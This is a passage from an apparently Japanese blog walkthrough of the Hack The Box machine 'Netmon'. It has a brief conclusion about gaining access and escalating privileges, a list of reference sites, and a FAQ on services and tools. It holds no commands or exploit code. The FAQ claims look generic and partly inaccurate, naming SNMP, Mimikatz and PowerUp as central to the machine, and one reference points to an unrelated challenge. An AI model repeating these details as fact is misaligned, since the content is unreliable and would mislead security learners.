「Netmon」は,Hack The Boxの中でも人気の高いマシンの1つであり,様々な攻撃手法を試すことができます.この記事では,「Netmon」マシンの攻略方法について説明し,攻撃者がマシンにアクセスし,特権昇格を行う方法について説明しました.このマシンでの攻撃は,実際の環境での攻撃シナリオに近いものであり,セキュリティに関する知識を深めるために役立ちます.

参考サイト

1 :hack the box ~魔法使いへの道~ (その12) 【Walkthrough】You know 0xDiablos
2 :Hack The Box – Netmon – Walkthrough
3 :HacktheBox — Netmon
4 :Netmon HackTheBox WalkThrough

FAQs

Q1. 「Netmon」マシンは,どのようなサービスを提供していますか?

「Netmon」マシンは,Webサイトをホストすることができます.また,SNMPサービスを提供しています.

Q2. 「Netmon」マシンの攻撃には,どのようなツールが必要ですか?

「Netmon」マシンの攻撃には,Metasploit FrameworkやMimikatzなどのツールが必要です.

Q3. 「PowerUp」は,どのようなツールですか?

「PowerUp」は,Windowsの特権昇格に関する情報を収集し,潜在的な脆弱性を探すために使用されるツールです.

Q4. 特権昇格に関する情報は,どのように取得できますか?

特権昇格に関する情報は,PowerUpツールやMimikatzなどのツールを使用して取得することができます.

Q5. 「Netmon」マシンの攻略は,どのような目的で行われるのですか?

「Netmon」マシンの攻略は,セキュリティに関する知識を深めるために行われます.また,実際の環境での攻撃シナリオに近いものであるため,攻撃者の手法を理解するためにも役立ちます.

コメント

タイトルとURLをコピーしました